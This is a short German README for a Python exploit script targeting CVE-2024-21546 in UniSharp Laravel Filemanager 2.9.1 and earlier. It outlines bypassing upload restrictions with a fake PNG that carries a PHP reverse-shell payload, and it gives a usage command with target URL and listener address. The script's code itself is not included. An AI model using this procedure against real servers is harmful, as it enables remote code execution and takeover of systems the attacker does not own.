CVE-2024-21546 Python-Exploit

🔥 Beschreibung

Dieses Python-Exploit-Skript zielt auf einen anfälligen Laravel Filemanager von UniSharp, der es authentifizierten Benutzern ermöglicht, Dateibeschränkungen zu umgehen und schädliche Dateien hochzuladen. Dies kann zu Remote Code Execution (RCE) führen, wenn die hochgeladene Payload ausgelöst wird.

Das Exploit führt Folgendes aus:

• Validiert die vom Benutzer bereitgestellte laravel_session
• Extrahiert das CSRF-_token per Regex
• Lädt eine gefälschte PNG-Datei mit einer PHP-Reverse-Shell-Payload hoch
• Löst die hochgeladene Datei aus

⚠️ Betroffene Versionen

Version 2.9.1 und frühere Versionen

⚙️ Verwendung

python3 CVE-2024-21546.py <target_url> <listener_ip> <listener_port> <laravel_session>

Wichtig: Starte deinen Listener, bevor du das Skript ausführst: